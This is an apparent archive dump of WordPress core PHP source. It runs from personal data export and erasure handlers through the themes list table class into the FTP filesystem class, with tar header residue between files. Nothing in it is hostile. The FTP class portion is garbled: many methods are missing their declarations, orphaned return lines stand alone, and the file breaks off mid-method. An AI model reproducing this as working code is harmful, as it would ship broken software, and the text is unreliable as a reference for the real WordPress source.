			$group_id_attr     = sanitize_title_with_dashes( $group_data['group_label'] . '-' . $group_id );
			$group_items_count = count( (array) $group_data['items'] );
			if ( $group_items_count > 1 ) {
				$group_label .= sprintf( ' <span class="count">(%d)</span>', $group_items_count );
			}
			fwrite( $file, '<li>' );
			fwrite( $file, '<a href="#' . esc_attr( $group_id_attr ) . '">' . $group_label . '</a>' );
			fwrite( $file, '</li>' );
		}
		fwrite( $file, '</ul>' );
		fwrite( $file, '</div>' );
	}

// Now, iterate over every group in $groups and have the formatter render it in HTML.
	foreach ( (array) $groups as $group_id => $group_data ) {
		fwrite( $file, wp_privacy_generate_personal_data_export_group_html( $group_data, $group_id, $groups_count ) );
	}

fwrite( $file, "</body>\n" );
	fwrite( $file, "</html>\n" );
	fclose( $file );

/*
	 * Now, generate the ZIP.
	 *
	 * If an archive has already been generated, then remove it and reuse the filename,
	 * to avoid breaking any URLs that may have been previously sent via email.
	 */
	$error = false;

// This meta value is used from version 5.5.
	$archive_filename = get_post_meta( $request_id, '_export_file_name', true );

// This one stored an absolute path and is used for backward compatibility.
	$archive_pathname = get_post_meta( $request_id, '_export_file_path', true );

// If a filename meta exists, use it.
	if ( ! empty( $archive_filename ) ) {
		$archive_pathname = $exports_dir . $archive_filename;
	} elseif ( ! empty( $archive_pathname ) ) {
		// If a full path meta exists, use it and create the new meta value.
		$archive_filename = basename( $archive_pathname );

update_post_meta( $request_id, '_export_file_name', $archive_filename );

// Remove the back-compat meta values.
		delete_post_meta( $request_id, '_export_file_url' );
		delete_post_meta( $request_id, '_export_file_path' );
	} else {
		// If there's no filename or full path stored, create a new file.
		$archive_filename = $file_basename . '.zip';
		$archive_pathname = $exports_dir . $archive_filename;

update_post_meta( $request_id, '_export_file_name', $archive_filename );
	}

$archive_url = $exports_url . $archive_filename;

if ( ! empty( $archive_pathname ) && file_exists( $archive_pathname ) ) {
		wp_delete_file( $archive_pathname );
	}

$zip = new ZipArchive;
	if ( true === $zip->open( $archive_pathname, ZipArchive::CREATE ) ) {
		if ( ! $zip->addFile( $json_report_pathname, 'export.json' ) ) {
			$error = __( 'Unable to add data to JSON file.' );
		}

if ( ! $zip->addFile( $html_report_pathname, 'index.html' ) ) {
			$error = __( 'Unable to add data to HTML file.' );
		}

$zip->close();

if ( ! $error ) {
			/**
			 * Fires right after all personal data has been written to the export file.
			 *
			 * @since 4.9.6
			 * @since 5.4.0 Added the `$json_report_pathname` parameter.
			 *
			 * @param string $archive_pathname     The full path to the export file on the filesystem.
			 * @param string $archive_url          The URL of the archive file.
			 * @param string $html_report_pathname The full path to the HTML personal data report on the filesystem.
			 * @param int    $request_id           The export request ID.
			 * @param string $json_report_pathname The full path to the JSON personal data report on the filesystem.
			 */
			do_action( 'wp_privacy_personal_data_export_file_created', $archive_pathname, $archive_url, $html_report_pathname, $request_id, $json_report_pathname );
		}
	} else {
		$error = __( 'Unable to open export file (archive) for writing.' );
	}

// Remove the JSON file.
	unlink( $json_report_pathname );

// Remove the HTML file.
	unlink( $html_report_pathname );

if ( $error ) {
		wp_send_json_error( $error );
	}
}

/**
 * Send an email to the user with a link to the personal data export file
 *
 * @since 4.9.6
 *
 * @param int $request_id The request ID for this personal data export.
 * @return true|WP_Error True on success or `WP_Error` on failure.
 */
function wp_privacy_send_personal_data_export_email( $request_id ) {
	// Get the request.
	$request = wp_get_user_request( $request_id );

if ( ! $request || 'export_personal_data' !== $request->action_name ) {
		return new WP_Error( 'invalid_request', __( 'Invalid request ID when sending personal data export email.' ) );
	}

// Localize message content for user; fallback to site default for visitors.
	if ( ! empty( $request->user_id ) ) {
		$locale = get_user_locale( $request->user_id );
	} else {
		$locale = get_locale();
	}

$switched_locale = switch_to_locale( $locale );

/** This filter is documented in wp-includes/functions.php */
	$expiration      = apply_filters( 'wp_privacy_export_expiration', 3 * DAY_IN_SECONDS );
	$expiration_date = date_i18n( get_option( 'date_format' ), time() + $expiration );

$exports_url      = wp_privacy_exports_url();
	$export_file_name = get_post_meta( $request_id, '_export_file_name', true );
	$export_file_url  = $exports_url . $export_file_name;

$site_name = wp_specialchars_decode( get_option( 'blogname' ), ENT_QUOTES );
	$site_url  = home_url();

/**
	 * Filters the recipient of the personal data export email notification.
	 * Should be used with great caution to avoid sending the data export link to wrong emails.
	 *
	 * @since 5.3.0
	 *
	 * @param string          $request_email The email address of the notification recipient.
	 * @param WP_User_Request $request       The request that is initiating the notification.
	 */
	$request_email = apply_filters( 'wp_privacy_personal_data_email_to', $request->email, $request );

$email_data = array(
		'request'           => $request,
		'expiration'        => $expiration,
		'expiration_date'   => $expiration_date,
		'message_recipient' => $request_email,
		'export_file_url'   => $export_file_url,
		'sitename'          => $site_name,
		'siteurl'           => $site_url,
	);

/* translators: Personal data export notification email subject. %s: Site title. */
	$subject = sprintf( __( '[%s] Personal Data Export' ), $site_name );

/**
	 * Filters the subject of the email sent when an export request is completed.
	 *
	 * @since 5.3.0
	 *
	 * @param string $subject    The email subject.
	 * @param string $sitename   The name of the site.
	 * @param array  $email_data {
	 *     Data relating to the account action email.
	 *
	 *     @type WP_User_Request $request           User request object.
	 *     @type int             $expiration        The time in seconds until the export file expires.
	 *     @type string          $expiration_date   The localized date and time when the export file expires.
	 *     @type string          $message_recipient The address that the email will be sent to. Defaults
	 *                                              to the value of `$request->email`, but can be changed
	 *                                              by the `wp_privacy_personal_data_email_to` filter.
	 *     @type string          $export_file_url   The export file URL.
	 *     @type string          $sitename          The site name sending the mail.
	 *     @type string          $siteurl           The site URL sending the mail.
	 * }
	 */
	$subject = apply_filters( 'wp_privacy_personal_data_email_subject', $subject, $site_name, $email_data );

/* translators: Do not translate EXPIRATION, LINK, SITENAME, SITEURL: those are placeholders. */
	$email_text = __(
		'Howdy,

Your request for an export of personal data has been completed. You may
download your personal data by clicking on the link below. For privacy
and security, we will automatically delete the file on ###EXPIRATION###,
so please download it before then.

###LINK###

Regards,
All at ###SITENAME###
###SITEURL###'
	);

/**
	 * Filters the text of the email sent with a personal data export file.
	 *
	 * The following strings have a special meaning and will get replaced dynamically:
	 * ###EXPIRATION###         The date when the URL will be automatically deleted.
	 * ###LINK###               URL of the personal data export file for the user.
	 * ###SITENAME###           The name of the site.
	 * ###SITEURL###            The URL to the site.
	 *
	 * @since 4.9.6
	 * @since 5.3.0 Introduced the `$email_data` array.
	 *
	 * @param string $email_text Text in the email.
	 * @param int    $request_id The request ID for this personal data export.
	 * @param array  $email_data {
	 *     Data relating to the account action email.
	 *
	 *     @type WP_User_Request $request           User request object.
	 *     @type int             $expiration        The time in seconds until the export file expires.
	 *     @type string          $expiration_date   The localized date and time when the export file expires.
	 *     @type string          $message_recipient The address that the email will be sent to. Defaults
	 *                                              to the value of `$request->email`, but can be changed
	 *                                              by the `wp_privacy_personal_data_email_to` filter.
	 *     @type string          $export_file_url   The export file URL.
	 *     @type string          $sitename          The site name sending the mail.
	 *     @type string          $siteurl           The site URL sending the mail.
	 */
	$content = apply_filters( 'wp_privacy_personal_data_email_content', $email_text, $request_id, $email_data );

$content = str_replace( '###EXPIRATION###', $expiration_date, $content );
	$content = str_replace( '###LINK###', esc_url_raw( $export_file_url ), $content );
	$content = str_replace( '###EMAIL###', $request_email, $content );
	$content = str_replace( '###SITENAME###', $site_name, $content );
	$content = str_replace( '###SITEURL###', esc_url_raw( $site_url ), $content );

$headers = '';

/**
	 * Filters the headers of the email sent with a personal data export file.
	 *
	 * @since 5.4.0
	 *
	 * @param string|array $headers    The email headers.
	 * @param string       $subject    The email subject.
	 * @param string       $content    The email content.
	 * @param int          $request_id The request ID.
	 * @param array        $email_data {
	 *     Data relating to the account action email.
	 *
	 *     @type WP_User_Request $request           User request object.
	 *     @type int             $expiration        The time in seconds until the export file expires.
	 *     @type string          $expiration_date   The localized date and time when the export file expires.
	 *     @type string          $message_recipient The address that the email will be sent to. Defaults
	 *                                              to the value of `$request->email`, but can be changed
	 *                                              by the `wp_privacy_personal_data_email_to` filter.
	 *     @type string          $export_file_url   The export file URL.
	 *     @type string          $sitename          The site name sending the mail.
	 *     @type string          $siteurl           The site URL sending the mail.
	 * }
	 */
	$headers = apply_filters( 'wp_privacy_personal_data_email_headers', $headers, $subject, $content, $request_id, $email_data );

$mail_success = wp_mail( $request_email, $subject, $content, $headers );

if ( $switched_locale ) {
		restore_previous_locale();
	}

if ( ! $mail_success ) {
		return new WP_Error( 'privacy_email_error', __( 'Unable to send personal data export email.' ) );
	}

return true;
}

/**
 * Intercept personal data exporter page Ajax responses in order to assemble the personal data export file.
 *
 * @since 4.9.6
 *
 * @see 'wp_privacy_personal_data_export_page'
 *
 * @param array  $response        The response from the personal data exporter for the given page.
 * @param int    $exporter_index  The index of the personal data exporter. Begins at 1.
 * @param string $email_address   The email address of the user whose personal data this is.
 * @param int    $page            The page of personal data for this exporter. Begins at 1.
 * @param int    $request_id      The request ID for this personal data export.
 * @param bool   $send_as_email   Whether the final results of the export should be emailed to the user.
 * @param string $exporter_key    The slug (key) of the exporter.
 * @return array The filtered response.
 */
function wp_privacy_process_personal_data_export_page( $response, $exporter_index, $email_address, $page, $request_id, $send_as_email, $exporter_key ) {
	/* Do some simple checks on the shape of the response from the exporter.
	 * If the exporter response is malformed, don't attempt to consume it - let it
	 * pass through to generate a warning to the user by default Ajax processing.
	 */
	if ( ! is_array( $response ) ) {
		return $response;
	}

if ( ! array_key_exists( 'done', $response ) ) {
		return $response;
	}

if ( ! array_key_exists( 'data', $response ) ) {
		return $response;
	}

if ( ! is_array( $response['data'] ) ) {
		return $response;
	}

// Get the request.
	$request = wp_get_user_request( $request_id );

if ( ! $request || 'export_personal_data' !== $request->action_name ) {
		wp_send_json_error( __( 'Invalid request ID when merging exporter data.' ) );
	}

$export_data = array();

// First exporter, first page? Reset the report data accumulation array.
	if ( 1 === $exporter_index && 1 === $page ) {
		update_post_meta( $request_id, '_export_data_raw', $export_data );
	} else {
		$export_data = get_post_meta( $request_id, '_export_data_raw', true );
	}

// Now, merge the data from the exporter response into the data we have accumulated already.
	$export_data = array_merge( $export_data, $response['data'] );
	update_post_meta( $request_id, '_export_data_raw', $export_data );

// If we are not yet on the last page of the last exporter, return now.
	/** This filter is documented in wp-admin/includes/ajax-actions.php */
	$exporters        = apply_filters( 'wp_privacy_personal_data_exporters', array() );
	$is_last_exporter = count( $exporters ) === $exporter_index;
	$exporter_done    = $response['done'];
	if ( ! $is_last_exporter || ! $exporter_done ) {
		return $response;
	}

// Last exporter, last page - let's prepare the export file.

// First we need to re-organize the raw data hierarchically in groups and items.
	$groups = array();
	foreach ( (array) $export_data as $export_datum ) {
		$group_id    = $export_datum['group_id'];
		$group_label = $export_datum['group_label'];

$group_description = '';
		if ( ! empty( $export_datum['group_description'] ) ) {
			$group_description = $export_datum['group_description'];
		}

if ( ! array_key_exists( $group_id, $groups ) ) {
			$groups[ $group_id ] = array(
				'group_label'       => $group_label,
				'group_description' => $group_description,
				'items'             => array(),
			);
		}

$item_id = $export_datum['item_id'];
		if ( ! array_key_exists( $item_id, $groups[ $group_id ]['items'] ) ) {
			$groups[ $group_id ]['items'][ $item_id ] = array();
		}

$old_item_data                            = $groups[ $group_id ]['items'][ $item_id ];
		$merged_item_data                         = array_merge( $export_datum['data'], $old_item_data );
		$groups[ $group_id ]['items'][ $item_id ] = $merged_item_data;
	}

// Then save the grouped data into the request.
	delete_post_meta( $request_id, '_export_data_raw' );
	update_post_meta( $request_id, '_export_data_grouped', $groups );

/**
	 * Generate the export file from the collected, grouped personal data.
	 *
	 * @since 4.9.6
	 *
	 * @param int $request_id The export request ID.
	 */
	do_action( 'wp_privacy_personal_data_export_file', $request_id );

// Clear the grouped data now that it is no longer needed.
	delete_post_meta( $request_id, '_export_data_grouped' );

// If the destination is email, send it now.
	if ( $send_as_email ) {
		$mail_success = wp_privacy_send_personal_data_export_email( $request_id );
		if ( is_wp_error( $mail_success ) ) {
			wp_send_json_error( $mail_success->get_error_message() );
		}

// Update the request to completed state when the export email is sent.
		_wp_privacy_completed_request( $request_id );
	} else {
		// Modify the response to include the URL of the export file so the browser can fetch it.
		$exports_url      = wp_privacy_exports_url();
		$export_file_name = get_post_meta( $request_id, '_export_file_name', true );
		$export_file_url  = $exports_url . $export_file_name;

if ( ! empty( $export_file_url ) ) {
			$response['url'] = $export_file_url;
		}
	}

return $response;
}

/**
 * Mark erasure requests as completed after processing is finished.
 *
 * This intercepts the Ajax responses to personal data eraser page requests, and
 * monitors the status of a request. Once all of the processing has finished, the
 * request is marked as completed.
 *
 * @since 4.9.6
 *
 * @see 'wp_privacy_personal_data_erasure_page'
 *
 * @param array  $response      The response from the personal data eraser for
 *                              the given page.
 * @param int    $eraser_index  The index of the personal data eraser. Begins
 *                              at 1.
 * @param string $email_address The email address of the user whose personal
 *                              data this is.
 * @param int    $page          The page of personal data for this eraser.
 *                              Begins at 1.
 * @param int    $request_id    The request ID for this personal data erasure.
 * @return array The filtered response.
 */
function wp_privacy_process_personal_data_erasure_page( $response, $eraser_index, $email_address, $page, $request_id ) {
	/*
	 * If the eraser response is malformed, don't attempt to consume it; let it
	 * pass through, so that the default Ajax processing will generate a warning
	 * to the user.
	 */
	if ( ! is_array( $response ) ) {
		return $response;
	}

if ( ! array_key_exists( 'done', $response ) ) {
		return $response;
	}

if ( ! array_key_exists( 'items_removed', $response ) ) {
		return $response;
	}

if ( ! array_key_exists( 'items_retained', $response ) ) {
		return $response;
	}

if ( ! array_key_exists( 'messages', $response ) ) {
		return $response;
	}

// Get the request.
	$request = wp_get_user_request( $request_id );

if ( ! $request || 'remove_personal_data' !== $request->action_name ) {
		wp_send_json_error( __( 'Invalid request ID when processing eraser data.' ) );
	}

/** This filter is documented in wp-admin/includes/ajax-actions.php */
	$erasers        = apply_filters( 'wp_privacy_personal_data_erasers', array() );
	$is_last_eraser = count( $erasers ) === $eraser_index;
	$eraser_done    = $response['done'];

if ( ! $is_last_eraser || ! $eraser_done ) {
		return $response;
	}

_wp_privacy_completed_request( $request_id );

/**
	 * Fires immediately after a personal data erasure request has been marked completed.
	 *
	 * @since 4.9.6
	 *
	 * @param int $request_id The privacy request post ID associated with this request.
	 */
	do_action( 'wp_privacy_personal_data_erased', $request_id );

return $response;
}
������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������class-wp-themes-list-table.php����������������������������������������������������������������������0000604�����������������00000023715�15075125354�0012342 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php
/**
 * List Table API: WP_Themes_List_Table class
 *
 * @package WordPress
 * @subpackage Administration
 * @since 3.1.0
 */

/**
 * Core class used to implement displaying installed themes in a list table.
 *
 * @since 3.1.0
 * @access private
 *
 * @see WP_List_Table
 */
class WP_Themes_List_Table extends WP_List_Table {

protected $search_terms = array();
	public $features        = array();

/**
	 * Constructor.
	 *
	 * @since 3.1.0
	 *
	 * @see WP_List_Table::__construct() for more information on default arguments.
	 *
	 * @param array $args An associative array of arguments.
	 */
	public function __construct( $args = array() ) {
		parent::__construct(
			array(
				'ajax'   => true,
				'screen' => isset( $args['screen'] ) ? $args['screen'] : null,
			)
		);
	}

/**
	 * @return bool
	 */
	public function ajax_user_can() {
		// Do not check edit_theme_options here. Ajax calls for available themes require switch_themes.
		return current_user_can( 'switch_themes' );
	}

/**
	 */
	public function prepare_items() {
		$themes = wp_get_themes( array( 'allowed' => true ) );

if ( ! empty( $_REQUEST['s'] ) ) {
			$this->search_terms = array_unique( array_filter( array_map( 'trim', explode( ',', strtolower( wp_unslash( $_REQUEST['s'] ) ) ) ) ) );
		}

if ( ! empty( $_REQUEST['features'] ) ) {
			$this->features = $_REQUEST['features'];
		}

if ( $this->search_terms || $this->features ) {
			foreach ( $themes as $key => $theme ) {
				if ( ! $this->search_theme( $theme ) ) {
					unset( $themes[ $key ] );
				}
			}
		}

unset( $themes[ get_option( 'stylesheet' ) ] );
		WP_Theme::sort_by_name( $themes );

$per_page = 36;
		$page     = $this->get_pagenum();

$start = ( $page - 1 ) * $per_page;

$this->items = array_slice( $themes, $start, $per_page, true );

$this->set_pagination_args(
			array(
				'total_items'     => count( $themes ),
				'per_page'        => $per_page,
				'infinite_scroll' => true,
			)
		);
	}

/**
	 */
	public function no_items() {
		if ( $this->search_terms || $this->features ) {
			_e( 'No items found.' );
			return;
		}

$blog_id = get_current_blog_id();
		if ( is_multisite() ) {
			if ( current_user_can( 'install_themes' ) && current_user_can( 'manage_network_themes' ) ) {
				printf(
					/* translators: 1: URL to Themes tab on Edit Site screen, 2: URL to Add Themes screen. */
					__( 'You only have one theme enabled for this site right now. Visit the Network Admin to <a href="%1$s">enable</a> or <a href="%2$s">install</a> more themes.' ),
					network_admin_url( 'site-themes.php?id=' . $blog_id ),
					network_admin_url( 'theme-install.php' )
				);

return;
			} elseif ( current_user_can( 'manage_network_themes' ) ) {
				printf(
					/* translators: %s: URL to Themes tab on Edit Site screen. */
					__( 'You only have one theme enabled for this site right now. Visit the Network Admin to <a href="%s">enable</a> more themes.' ),
					network_admin_url( 'site-themes.php?id=' . $blog_id )
				);

return;
			}
			// Else, fallthrough. install_themes doesn't help if you can't enable it.
		} else {
			if ( current_user_can( 'install_themes' ) ) {
				printf(
					/* translators: %s: URL to Add Themes screen. */
					__( 'You only have one theme installed right now. Live a little! You can choose from over 1,000 free themes in the WordPress Theme Directory at any time: just click on the <a href="%s">Install Themes</a> tab above.' ),
					admin_url( 'theme-install.php' )
				);

return;
			}
		}
		// Fallthrough.
		printf(
			/* translators: %s: Network title. */
			__( 'Only the current theme is available to you. Contact the %s administrator for information about accessing additional themes.' ),
			get_site_option( 'site_name' )
		);
	}

/**
	 * @param string $which
	 */
	public function tablenav( $which = 'top' ) {
		if ( $this->get_pagination_arg( 'total_pages' ) <= 1 ) {
			return;
		}
		?>
		<div class="tablenav themes <?php echo $which; ?>">
			<?php $this->pagination( $which ); ?>
			<span class="spinner"></span>
			<br class="clear" />
		</div>
		<?php
	}

/**
	 * Displays the themes table.
	 *
	 * Overrides the parent display() method to provide a different container.
	 *
	 * @since 3.1.0
	 */
	public function display() {
		wp_nonce_field( 'fetch-list-' . get_class( $this ), '_ajax_fetch_list_nonce' );
		?>
		<?php $this->tablenav( 'top' ); ?>

<div id="availablethemes">
			<?php $this->display_rows_or_placeholder(); ?>
		</div>

<?php $this->tablenav( 'bottom' ); ?>
		<?php
	}

/**
	 * @return array
	 */
	public function get_columns() {
		return array();
	}

/**
	 */
	public function display_rows_or_placeholder() {
		if ( $this->has_items() ) {
			$this->display_rows();
		} else {
			echo '<div class="no-items">';
			$this->no_items();
			echo '</div>';
		}
	}

/**
	 */
	public function display_rows() {
		$themes = $this->items;

foreach ( $themes as $theme ) :
			?>
			<div class="available-theme">
			<?php

$template   = $theme->get_template();
			$stylesheet = $theme->get_stylesheet();
			$title      = $theme->display( 'Name' );
			$version    = $theme->display( 'Version' );
			$author     = $theme->display( 'Author' );

$activate_link = wp_nonce_url( 'themes.php?action=activate&amp;template=' . urlencode( $template ) . '&amp;stylesheet=' . urlencode( $stylesheet ), 'switch-theme_' . $stylesheet );

$actions             = array();
			$actions['activate'] = sprintf(
				'<a href="%s" class="activatelink" title="%s">%s</a>',
				$activate_link,
				/* translators: %s: Theme name. */
				esc_attr( sprintf( _x( 'Activate &#8220;%s&#8221;', 'theme' ), $title ) ),
				__( 'Activate' )
			);

if ( current_user_can( 'edit_theme_options' ) && current_user_can( 'customize' ) ) {
				$actions['preview'] .= sprintf(
					'<a href="%s" class="load-customize hide-if-no-customize">%s</a>',
					wp_customize_url( $stylesheet ),
					__( 'Live Preview' )
				);
			}

if ( ! is_multisite() && current_user_can( 'delete_themes' ) ) {
				$actions['delete'] = sprintf(
					'<a class="submitdelete deletion" href="%s" onclick="return confirm( \'%s\' );">%s</a>',
					wp_nonce_url( 'themes.php?action=delete&amp;stylesheet=' . urlencode( $stylesheet ), 'delete-theme_' . $stylesheet ),
					/* translators: %s: Theme name. */
					esc_js( sprintf( __( "You are about to delete this theme '%s'\n  'Cancel' to stop, 'OK' to delete." ), $title ) ),
					__( 'Delete' )
				);
			}

/** This filter is documented in wp-admin/includes/class-wp-ms-themes-list-table.php */
			$actions = apply_filters( 'theme_action_links', $actions, $theme, 'all' );

/** This filter is documented in wp-admin/includes/class-wp-ms-themes-list-table.php */
			$actions       = apply_filters( "theme_action_links_{$stylesheet}", $actions, $theme, 'all' );
			$delete_action = isset( $actions['delete'] ) ? '<div class="delete-theme">' . $actions['delete'] . '</div>' : '';
			unset( $actions['delete'] );

$screenshot = $theme->get_screenshot();
			?>

<span class="screenshot hide-if-customize">
				<?php if ( $screenshot ) : ?>
					<img src="<?php echo esc_url( $screenshot ); ?>" alt="" />
				<?php endif; ?>
			</span>
			<a href="<?php echo wp_customize_url( $stylesheet ); ?>" class="screenshot load-customize hide-if-no-customize">
				<?php if ( $screenshot ) : ?>
					<img src="<?php echo esc_url( $screenshot ); ?>" alt="" />
				<?php endif; ?>
			</a>

<?php theme_update_available( $theme ); ?>
			</div>

<div class="themedetaildiv hide-if-js">
				<p><strong><?php _e( 'Version:' ); ?></strong> <?php echo $version; ?></p>
				<p><?php echo $theme->display( 'Description' ); ?></p>
				<?php
				if ( $theme->parent() ) {
					printf(
						/* translators: 1: Link to documentation on child themes, 2: Name of parent theme. */
						' <p class="howto">' . __( 'This <a href="%1$s">child theme</a> requires its parent theme, %2$s.' ) . '</p>',
						__( 'https://developer.wordpress.org/themes/advanced-topics/child-themes/' ),
						$theme->parent()->display( 'Name' )
					);
				}
				?>
			</div>

</div>
			<?php
		endforeach;
	}

/**
	 * @param WP_Theme $theme
	 * @return bool
	 */
	public function search_theme( $theme ) {
		// Search the features.
		foreach ( $this->features as $word ) {
			if ( ! in_array( $word, $theme->get( 'Tags' ), true ) ) {
				return false;
			}
		}

// Match all phrases.
		foreach ( $this->search_terms as $word ) {
			if ( in_array( $word, $theme->get( 'Tags' ), true ) ) {
				continue;
			}

foreach ( array( 'Name', 'Description', 'Author', 'AuthorURI' ) as $header ) {
				// Don't mark up; Do translate.
				if ( false !== stripos( strip_tags( $theme->display( $header, false, true ) ), $word ) ) {
					continue 2;
				}
			}

if ( false !== stripos( $theme->get_stylesheet(), $word ) ) {
				continue;
			}

if ( false !== stripos( $theme->get_template(), $word ) ) {
				continue;
			}

return false;
		}

return true;
	}

/**
	 * Send required variables to JavaScript land
	 *
	 * @since 3.4.0
	 *
	 * @param array $extra_args
	 */
	public function _js_vars( $extra_args = array() ) {
		$search_string = isset( $_REQUEST['s'] ) ? esc_attr( wp_unslash( $_REQUEST['s'] ) ) : '';

$args = array(
			'search'      => $search_string,
			'features'    => $this->features,
			'paged'       => $this->get_pagenum(),
			'total_pages' => ! empty( $this->_pagination_args['total_pages'] ) ? $this->_pagination_args['total_pages'] : 1,
		);

if ( is_array( $extra_args ) ) {
			$args = array_merge( $args, $extra_args );
		}

printf( "<script type='text/javascript'>var theme_list_args = %s;</script>\n", wp_json_encode( $args ) );
		parent::_js_vars();
	}
}
���������������������������������������������������class-wp-filesystem-ftpext.php����������������������������������������������������������������������0000604�����������������00000047173�15075125354�0012517 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php
/**
 * WordPress FTP Filesystem.
 *
 * @package WordPress
 * @subpackage Filesystem
 */

/**
 * WordPress Filesystem Class for implementing FTP.
 *
 * @since 2.5.0
 *
 * @see WP_Filesystem_Base
 */
class WP_Filesystem_FTPext extends WP_Filesystem_Base {

/**
	 * @since 2.5.0
	 * @var resource
	 */
	public $link;

/**
	 * Constructor.
	 *
	 * @since 2.5.0
	 *
	 * @param array $opt
	 */
	public function __construct( $opt = '' ) {
		$this->method = 'ftpext';
		$this->errors = new WP_Error();

// Check if possible to use ftp functions.
		if ( ! extension_loaded( 'ftp' ) ) {
			$this->errors->add( 'no_ftp_ext', __( 'The ftp PHP extension is not available' ) );
			return;
		}

// This class uses the timeout on a per-connection basis, others use it on a per-action basis.
		if ( ! defined( 'FS_TIMEOUT' ) ) {
			define( 'FS_TIMEOUT', 240 );
		}

if ( empty( $opt['port'] ) ) {
			$this->options['port'] = 21;
		} else {
			$this->options['port'] = $opt['port'];
		}

if ( empty( $opt['hostname'] ) ) {
			$this->errors->add( 'empty_hostname', __( 'FTP hostname is required' ) );
		} else {
			$this->options['hostname'] = $opt['hostname'];
		}

if ( empty( $opt['password'] ) ) {
			$this->errors->add( 'empty_password', __( 'FTP password is required' ) );
		} else {
			$this->options['password'] = $opt['password'];
		}

$this->options['ssl'] = false;

if ( isset( $opt['connection_type'] ) && 'ftps' === $opt['connection_type'] ) {
			$this->options['ssl'] = true;
		}
	}

/**
	 * Connects filesystem.
	 *
	 * @since 2.5.0
	 *
	 * @return bool True on success, false on failure.
	 */
	public function connect() {
		if ( isset( $this->options['ssl'] ) && $this->options['ssl'] && function_exists( 'ftp_ssl_connect' ) ) {
			$this->link = @ftp_ssl_connect( $this->options['hostname'], $this->options['port'], FS_CONNECT_TIMEOUT );
		} else {
			$this->link = @ftp_connect( $this->options['hostname'], $this->options['port'], FS_CONNECT_TIMEOUT );
		}

if ( ! $this->link ) {
			$this->errors->add(
				'connect',
				sprintf(
					/* translators: %s: hostname:port */
					__( 'Failed to connect to FTP Server %s' ),
					$this->options['hostname'] . ':' . $this->options['port']
				)
			);

return false;
		}

if ( ! @ftp_login( $this->link, $this->options['username'], $this->options['password'] ) ) {
			$this->errors->add(
				'auth',
				sprintf(
					/* translators: %s: Username. */
					__( 'Username/Password incorrect for %s' ),
					$this->options['username']
				)
			);

return false;
		}

// Set the connection to use Passive FTP.
		ftp_pasv( $this->link, true );

if ( @ftp_get_option( $this->link, FTP_TIMEOUT_SEC ) < FS_TIMEOUT ) {
			@ftp_set_option( $this->link, FTP_TIMEOUT_SEC, FS_TIMEOUT );
		}

return true;
	}

/**
	 * Reads entire file into a string.
	 *
	 * @since 2.5.0
	 *
	 * @param string $file Name of the file to read.
	 * @return string|false Read data on success, false if no temporary file could be opened,
	 *                      or if the file couldn't be retrieved.
	 */
	public function get_contents( $file ) {
		$tempfile   = wp_tempnam( $file );
		$temphandle = fopen( $tempfile, 'w+' );

if ( ! $temphandle ) {
			unlink( $tempfile );
			return false;
		}

if ( ! ftp_fget( $this->link, $temphandle, $file, FTP_BINARY ) ) {
			fclose( $temphandle );
			unlink( $tempfile );
			return false;
		}

fseek( $temphandle, 0 ); // Skip back to the start of the file being written to.
		$contents = '';

while ( ! feof( $temphandle ) ) {
			$contents .= fread( $temphandle, 8 * KB_IN_BYTES );
		}

fclose( $temphandle );
		unlink( $tempfile );

return $contents;
	}

if ( ! $temphandle ) {
			unlink( $tempfile );
			return false;
		}

mbstring_binary_safe_encoding();

$data_length   = strlen( $contents );
		$bytes_written = fwrite( $temphandle, $contents );

reset_mbstring_encoding();

if ( $data_length !== $bytes_written ) {
			fclose( $temphandle );
			unlink( $tempfile );
			return false;
		}

fseek( $temphandle, 0 ); // Skip back to the start of the file being written to.

$ret = ftp_fput( $this->link, $file, $temphandle, FTP_BINARY );

fclose( $temphandle );
		unlink( $tempfile );

$this->chmod( $file, $mode );

return $ret;
	}

/**
	 * Gets the current working directory.
	 *
	 * @since 2.5.0
	 *
	 * @return string|false The current working directory on success, false on failure.
	 */
	public function cwd() {
		$cwd = ftp_pwd( $this->link );

if ( $cwd ) {
			$cwd = trailingslashit( $cwd );
		}

return $cwd;
	}

// chmod any sub-objects if recursive.
		if ( $recursive && $this->is_dir( $file ) ) {
			$filelist = $this->dirlist( $file );

foreach ( (array) $filelist as $filename => $filemeta ) {
				$this->chmod( $file . '/' . $filename, $mode, $recursive );
			}
		}

// chmod the file or directory.
		if ( ! function_exists( 'ftp_chmod' ) ) {
			return (bool) ftp_site( $this->link, sprintf( 'CHMOD %o %s', $mode, $file ) );
		}

return (bool) ftp_chmod( $this->link, $mode, $file );
	}

return $dir[ $file ]['owner'];
	}

return $dir[ $file ]['permsn'];
	}

return $dir[ $file ]['group'];
	}

$content = $this->get_contents( $source );

if ( false === $content ) {
			return false;
		}

return $this->put_contents( $destination, $content, $mode );
	}

if ( 'f' === $type || $this->is_file( $file ) ) {
			return ftp_delete( $this->link, $file );
		}

if ( ! $recursive ) {
			return ftp_rmdir( $this->link, $file );
		}

$filelist = $this->dirlist( trailingslashit( $file ) );

if ( ! empty( $filelist ) ) {
			foreach ( $filelist as $delete_file ) {
				$this->delete( trailingslashit( $file ) . $delete_file['name'], $recursive, $delete_file['type'] );
			}
		}

return ftp_rmdir( $this->link, $file );
	}

if ( empty( $list ) && $this->is_dir( $file ) ) {
			return true; // File is an empty directory.
		}

return ! empty( $list ); // Empty list = no file, so invert.
	}

/**
	 * Checks if resource is a file.
	 *
	 * @since 2.5.0
	 *
	 * @param string $file File path.
	 * @return bool Whether $file is a file.
	 */
	public function is_file( $file ) {
		return $this->exists( $file ) && ! $this->is_dir( $file );
	}

if ( $result && $path == $this->cwd() || $this->cwd() != $cwd ) {
			@ftp_chdir( $this->link, $cwd );
			return true;
		}

return false;
	}

if ( empty( $path ) ) {
			return false;
		}

if ( ! ftp_mkdir( $this->link, $path ) ) {
			return false;
		}

$this->chmod( $path, $chmod );

return true;
	}

/**
	 * @param string $line
	 * @return array
	 */
	public function parselisting( $line ) {
		static $is_windows = null;

if ( is_null( $is_windows ) ) {
			$is_windows = stripos( ftp_systype( $this->link ), 'win' ) !== false;
		}

